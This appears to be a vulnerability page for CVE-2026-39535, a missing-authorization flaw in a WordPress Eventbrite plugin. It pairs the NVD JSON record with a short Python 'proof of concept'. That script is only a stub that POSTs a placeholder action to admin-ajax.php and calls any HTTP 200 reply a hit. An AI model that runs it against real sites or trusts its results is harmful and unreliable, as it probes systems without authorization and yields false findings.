CVE-2026-39535

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-39535 Missing Authorization This script attempts to access an unauthorized endpoint. """ # The vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # The specific action name depends on the plugin's internal code # Assuming 'get_eventbrite_events' or similar based on plugin functionality payload = { "action": "vulnerable_plugin_action", "param": "test_value" } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: # Check if response contains sensitive data or specific success indicators print("[+] Potential vulnerability detected!") print(f"[+] Response: {response.text[:200]}") else: print("[-] Target may not be vulnerable or request blocked.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" check_vulnerability(target)

{"cve": {"id": "CVE-2026-39535", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:26.213", "lastModified": "2026-04-29T10:17:27.347", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in fullworks Display Eventbrite Events widget-for-eventbrite-api allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Display Eventbrite Events: from n/a through <= 6.5.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/widget-for-eventbrite-api/vulnerability/wordpress-display-eventbrite-events-plugin-6-5-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}